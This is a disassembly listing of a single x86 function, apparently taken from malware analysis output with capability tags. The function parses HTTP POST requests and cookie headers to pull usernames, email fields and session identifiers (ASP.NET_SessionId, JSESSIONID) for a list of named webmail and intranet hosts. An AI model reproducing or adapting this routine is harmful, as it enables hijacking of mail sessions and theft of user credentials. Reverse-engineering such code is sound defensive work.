Function at 0x59016580
Capabilities:
Check for time delay via gettickcount
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Encode data using base64
Move file
Resolve function by parsing pe exports

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x591401bb
push eax
mov eax, dword [esp + 0x24]
mov dword fs:[0], esp
sub esp, 0x178
test eax, eax
push ebx
push ebp
push esi
push edi
je 0x590165ad
mov dword [eax], 0
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x19c]
test ebp, ebp
mov dword [esp + 0x144], ebp
mov dword [esp + 0x98], esi
je 0x5901a6fd
test esi, esi
je 0x5901a6fd
mov edi, 0x5917ae38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5917ae38
push esi
push ebp
call fcn.5900d130
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x5901a6fd
mov edi, 0x5917ae38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0xd
je 0x59016656
mov eax, esi
sub eax, ebx
mov dword [esp + 0x44], eax
mov edi, 0x5917ae38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x44]
not ecx
dec ecx
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59016656
mov eax, ecx
mov cl, byte [eax + edx + 1]
inc eax
cmp cl, 0xd
mov dword [esp + 0x18], eax
jne 0x59016629
mov edi, 0x5917ae38
or ecx, 0xffffffff
xor eax, eax
mov edx, esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
sub edx, ebx
not ecx
dec ecx
sub edx, ecx
cmp eax, edx
jge 0x5901a6fd
test eax, eax
jle 0x5901a6fd
mov eax, dword [0x59155850]
mov dword [esp + 0x20], eax
mov edi, str.exchange
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.exchange
add ecx, ebp
mov dword [esp + 0x198], ebx
push ecx
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016720
mov edi, str.POST__exchange_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edx, edx
add ecx, ebp
cmp esi, ebx
jle 0x590166eb
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x590166eb
cmp al, 0xd
je 0x590166eb
cmp al, 0xa
je 0x590166eb
inc edx
cmp edx, esi
jl 0x590166d7
push edx
push ecx
lea ecx, [esp + 0x84]
call fcn.5909ec30
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 1
push ecx
lea ecx, [esp + 0x24]
call fcn.5909f310
lea ecx, [esp + 0x7c]
mov byte [esp + 0x190], 0
call fcn.5909f180
push str.Content_Type:_multipart_form_data__boundary
push esi
push ebp
call fcn.5900f390
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
jne 0x59016750
push 0x5917ae58
push esi
push ebp
call fcn.5900f390
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a6e9
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
push 0x5917a428
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
mov ecx, esi
sub ecx, edx
lea eax, [edx + ebp]
push ecx
push eax
mov dword [esp + 0x88], eax
call fcn.5900f390
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x70], eax
je 0x5901a6e9
push esi
push ebp
call fcn.59016380
push 0x5917ae38
push esi
push ebp
mov dword [esp + 0x130], eax
mov dword [esp + 0x188], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xb4], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0xa4], ebx
call fcn.5900f390
mov edx, eax
add esp, 0x14
cmp edx, 0xffffffff
je 0x59016a4f
mov edi, 0x5917ae38
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.mail.peteco.com.cn
add edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [edx + ebp]
push ecx
push str.mail.peteco.com.cn
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x5901682b
mov dword [esp + 0x94], 1
mov edi, str.mysinamail.sina.com.hk
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mysinamail.sina.com.hk
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016858
mov dword [esp + 0xa8], 1
mov edi, str.win.mail.ru
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.win.mail.ru
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016885
mov dword [esp + 0xc4], 1
mov edi, str.mail.chinapatentoffice.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chinapatentoffice.cn
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
je 0x590168c9
mov edi, str.mail.chengyh.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.chengyh.com
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x590168d4
mov dword [esp + 0x174], 1
mov edi, str.mail.dycf.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.mail.dycf.cn
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016901
mov dword [esp + 0x90], 1
mov edi, str.dx.anhuily.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.dx.anhuily.com
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x5901692e
mov dword [esp + 0xa0], 1
mov edi, str.webmail.hebmc.com
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.webmail.hebmc.com
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016958
mov dword [esp + 0x4c], 1
mov edi, str.10.129.255.30:8080
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.10.129.255.30:8080
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016982
mov dword [esp + 0x4c], 1
mov edx, dword [0x5919dc1c]
lea ecx, [esp + 0x14]
push edx
call fcn.590996a0
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 2
mov eax, dword [ecx - 8]
cmp eax, ebx
je 0x590169bc
mov ebx, dword [esp + 0x18]
push eax
push ecx
push ebx
push esi
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
jne 0x590169e4
jmp 0x590169c0
mov ebx, dword [esp + 0x18]
mov edi, str.intra.panasonic.cn
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.intra.panasonic.cn
push ebx
push esi
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
je 0x590169ec
mov dword [esp + 0x30], 1
mov edi, str..263.net
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.net
push ebx
push esi
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
jne 0x59016a33
or ecx, eax
mov edi, str..263.com
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str..263.com
push ebx
push esi
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
je 0x59016a3e
mov dword [esp + 0x114], 1
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.59099e00
mov eax, dword [esp + 0x19c]
push str.OA_USER_ID
push eax
push ebp
call fcn.5900f390
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016b17
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59016b17
cmp al, 0xd
je 0x59016ac3
cmp byte [esi + edx + 1], 0xa
je 0x59016ac3
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016ac3
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016a91
test esi, esi
jle 0x59016b17
mov edi, str.OA_USER_ID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
sub eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016b17
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.5909ec30
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 3
push ecx
lea ecx, [esp + 0x24]
call fcn.5909f310
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0
call fcn.5909f180
mov edx, dword [0x59155850]
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 4
test eax, eax
je 0x59016bc8
mov edi, str.mail
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.POST__
push ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push str.mail
add ecx, ebp
push ecx
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59016bc8
mov edi, str.POST__mail_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x19c]
xor edx, edx
not ecx
dec ecx
add ecx, ebp
test esi, esi
jle 0x59016b96
mov al, byte [ecx + edx]
cmp al, 0x2f
je 0x59016b96
cmp al, 0xd
je 0x59016b96
cmp al, 0xa
je 0x59016b96
inc edx
cmp edx, esi
jl 0x59016b82
push edx
push ecx
lea ecx, [esp + 0x1c]
call fcn.5909ec30
lea eax, [esp + 0x14]
lea ecx, [esp + 0x60]
push eax
mov byte [esp + 0x194], 5
call fcn.5909f310
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909f180
mov ecx, dword [esp + 0x19c]
push str.id_pchome
push ecx
push ebp
call fcn.5900f390
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016c91
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x3b
je 0x59016c91
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016c38
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x3b
jne 0x59016c18
test esi, esi
jle 0x59016c91
mov edi, str.id_pchome
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59016c91
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.5909ec30
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 6
push ecx
lea ecx, [esp + 0x24]
call fcn.5909f310
push str._pchome.com.tw
lea ecx, [esp + 0x24]
call fcn.5909fdd0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909f180
mov edx, dword [esp + 0x19c]
push str.EMAIL
push edx
push ebp
call fcn.5900f390
mov ebx, eax
add esp, 0xc
cmp ebx, 0xffffffff
je 0x59016d57
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, ecx
add edx, ebx
add edx, ebp
cmp byte [edx], 0x26
je 0x59016d57
mov eax, dword [esp + 0x19c]
sub eax, ebx
mov dword [esp + 0x44], eax
mov ebx, eax
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
sub eax, ecx
cmp esi, eax
jge 0x59016d0c
mov al, byte [esi + edx]
cmp al, 0xd
je 0x59016d57
cmp al, 0xa
je 0x59016d57
mov al, byte [esi + edx + 1]
inc esi
cmp al, 0x26
jne 0x59016ce1
test esi, esi
jle 0x59016d57
mov edi, str.EMAIL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, ecx
cmp esi, ebx
jge 0x59016d57
push esi
push edx
lea ecx, [esp + 0x1c]
call fcn.5909ec30
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 7
push ecx
lea ecx, [esp + 0x24]
call fcn.5909f310
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 4
call fcn.5909f180
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x19c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push edx
push ebp
call fcn.5900d130
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59016f64
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59016f64
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
dec ecx
push ecx
push 0x5917ae30
push eax
push ebp
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x59016f64
cmp eax, esi
jle 0x59016f64
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
lea edx, [esi + ebp]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x1a0]
sub ecx, esi
push str.username
push ecx
push edx
call fcn.5900d130
mov ebx, eax
add esp, 0x10
cmp ebx, 0xffffffff
je 0x59016f64
mov ecx, dword [esp + 0x14]
lea eax, [ebx + esi]
cmp eax, ecx
jge 0x59016f64
mov cl, byte [eax + ebp - 1]
cmp cl, 0xa
je 0x59016e48
cmp cl, 0x3b
je 0x59016e48
cmp cl, 0x20
jne 0x59016e33
mov al, byte [eax + ebp - 2]
cmp al, 0xa
je 0x59016e48
cmp al, 0x3b
je 0x59016e48
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add esi, ecx
jmp 0x59016dcf
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
mov edi, dword [esp + 0x198]
dec ecx
mov edx, ecx
add edx, ebx
add edx, esi
add edx, edi
mov al, byte [edx]
cmp al, 0x3b
je 0x59016e9b
cmp al, 0xd
je 0x59016e9b
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59016e9b
mov al, byte [edx + ebp + 1]
inc ebp
cmp al, 0x3b
jne 0x59016e6e
mov edi, str.username
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x19c]
not ecx
sub eax, ebx
dec ecx
sub eax, esi
sub eax, ecx
cmp ebp, eax
jge 0x59016f5d
push ebp
push edx
lea ecx, [esp + 0x2c]
call fcn.590998b0
push ecx
lea edx, [esp + 0x28]
mov bl, 8
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], bl
call fcn.590993d0
lea eax, [esp + 0x84]
mov byte [esp + 0x194], bl
push eax
call fcn.5900abf0
add esp, 8
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0xa
call fcn.59099f80
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], bl
call fcn.59099e00
mov ecx, dword [esp + 0x24]
push ecx
lea ecx, [esp + 0x24]
call fcn.5909f4e0
push 0x40
lea ecx, [esp + 0x24]
call fcn.590a0280
cmp eax, 0xffffffff
jne 0x59016f4c
push 0x5917b798
lea ecx, [esp + 0x24]
call fcn.5909fdd0
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 4
call fcn.59099e00
mov ebp, dword [esp + 0x198]
mov eax, dword [esp + 0x90]
test eax, eax
je 0x59017031
push 0x5919cc20
lea ecx, [esp + 0x1c]
call fcn.5909e880
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x5917b794
mov byte [esp + 0x19c], 0xb
call fcn.590994d0
mov ebx, dword [esp + 0x1a4]
lea edx, [esp + 0x20]
push edx
push ebx
push ebp
mov byte [esp + 0x1a4], 0xb
call fcn.59021560
mov eax, dword [esp + 0x2c]
add esp, 0x14
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901701e
push str.dycf.cn
lea ecx, [esp + 0x1c]
call fcn.590a0360
mov edx, eax
mov edi, 0x5917b77c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
lea ecx, [esp + 0x80]
push edx
push ecx
lea ecx, [esp + 0x20]
call fcn.590a18c0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x194], 0xd
call fcn.5909f310
lea ecx, [esp + 0x80]
mov byte [esp + 0x190], 0xb
call fcn.5909f180
lea ecx, [esp + 0x18]
mov byte [esp + 0x190], 4
call fcn.5909f180
jmp 0x59017038
mov ebx, dword [esp + 0x19c]
mov eax, dword [0x59155850]
mov dword [esp + 0x5c], eax
mov byte [esp + 0x190], 0xe
mov dword [esp + 0x58], eax
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0xf
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d130
mov esi, eax
mov eax, dword [esp + 0x5c]
add esp, 0x10
test eax, eax
je 0x590171f0
cmp esi, 0xffffffff
je 0x590171f0
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5917ae30
push ebx
push ebp
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x590171f0
cmp eax, esi
jle 0x590171f0
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub edx, esi
push ecx
push str.asp.net_sessionid
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x590171f0
mov ecx, eax
mov eax, dword [esp + 0x14]
add ecx, esi
cmp ecx, eax
jge 0x590171f0
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x5901715c
cmp al, 0xd
je 0x5901715c
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x5901715c
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017127
mov edi, str.asp.net_sessionid
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590171f0
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590998b0
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x10
call fcn.590993d0
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x10
push eax
call fcn.5900abf0
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x12
push ecx
lea ecx, [esp + 0x60]
call fcn.5909f4e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x10
call fcn.59099e00
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0xf
call fcn.59099e00
mov edx, dword [0x59155850]
mov dword [esp + 0x50], edx
mov edi, str.cookie:
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x190], 0x13
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.cookie:
push ebx
push ebp
call fcn.5900d130
mov esi, eax
mov eax, dword [esp + 0x124]
add esp, 0x10
test eax, eax
je 0x5901754a
cmp esi, 0xffffffff
je 0x590173a4
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5917ae30
push ebx
push ebp
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x590173a4
cmp eax, esi
jle 0x590173a4
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.JSESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x590173a4
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x590173a4
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x59017310
cmp al, 0xd
je 0x59017310
cmp al, 0x21
je 0x59017310
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x59017310
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x590172d7
mov edi, str.JSESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590173a4
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590998b0
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x14
call fcn.590993d0
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x14
push eax
call fcn.5900abf0
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x16
push ecx
lea ecx, [esp + 0x54]
call fcn.5909f4e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x14
call fcn.59099e00
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.59099e00
mov edx, dword [esp + 0x50]
mov eax, dword [edx - 8]
test eax, eax
jne 0x5901754a
mov edi, str.POST__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.POST__
push ebx
push ebp
call fcn.5900d130
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x5901754a
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5917ae30
push ebx
push ebp
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
je 0x5901754a
cmp eax, esi
jle 0x5901754a
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, ebx
push ecx
sub eax, esi
push str.SESSIONID
lea ecx, [esi + ebp]
push eax
push ecx
call fcn.5900d130
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x24], eax
je 0x5901754a
mov edx, eax
mov eax, dword [esp + 0x14]
add edx, esi
cmp edx, eax
jge 0x5901754a
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x18], eax
mov edx, ecx
mov ecx, dword [esp + 0x24]
add edx, ecx
add edx, esi
add edx, ebp
mov al, byte [edx]
cmp al, 0x3b
je 0x590174b6
cmp al, 0xd
je 0x590174b6
cmp al, 0x21
je 0x590174b6
cmp al, 0x3f
je 0x590174b6
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x590174b6
mov eax, ecx
inc eax
mov dword [esp + 0x18], eax
mov al, byte [eax + edx]
cmp al, 0x3b
jne 0x59017479
mov edi, str.SESSIONID
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x24]
mov eax, ebx
not ecx
sub eax, edi
dec ecx
sub eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x5901754a
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.590998b0
push ecx
lea edx, [esp + 0x6c]
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
mov byte [esp + 0x198], 0x17
call fcn.590993d0
lea eax, [esp + 0x18]
mov byte [esp + 0x194], 0x17
push eax
call fcn.5900abf0
add esp, 8
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x190], 0x19
push ecx
lea ecx, [esp + 0x54]
call fcn.5909f4e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x17
call fcn.59099e00
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x13
call fcn.59099e00
push 0x5917ae30
push ebx
push ebp
call fcn.5900f390
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x5901a6a5
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
push str.PostCharset
repne scasb al, byte es:[edi]
not ecx
dec ecx
add edx, ecx
sub ebx, edx
add ebp, edx
push ebx
push ebp
mov dword [esp + 0x1a4], ebp
mov dword [esp + 0x1a8], ebx
call fcn.5900f390
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59017631
mov edi, str.PostCharset
or ecx, 0xffffffff
xor eax, eax
mov edx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x5917ae30
add esi, ecx
sub edx, esi
lea eax, [esi + ebp]
push edx
push eax
call fcn.5900f390
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x59017631
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x5917afa8
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
add esi, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x5917afa8
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
je 0x59017626
mov edi, str.utf8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.utf8
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x59017631
mov dword [esp + 0x94], 1
push str.OPT4
push ebx
push ebp
mov dword [esp + 0x130], 0
call fcn.5900f390
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590176c0
mov edi, str.OPT4
or ecx, 0xffffffff
xor eax, eax
push 0x5917ae30
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
mov ecx, ebx
sub ecx, esi
lea edx, [esi + ebp]
push ecx
push edx
call fcn.5900f390
mov edx, eax
add esp, 0xc
cmp edx, 0xffffffff
je 0x590176c0
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x5917b758
add ecx, edx
add esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ebp
push ecx
push 0x5917b758
push esi
call fcn.5908e200
add esp, 0xc
test eax, eax
jne 0x590176c0
mov dword [esp + 0x124], 1
mov edx, dword [esp + 0x70]
mov esi, dword [esp + 0x7c]
xor eax, eax
lea ecx, [esp + 0xb0]
mov dword [esp + 0xb0], eax
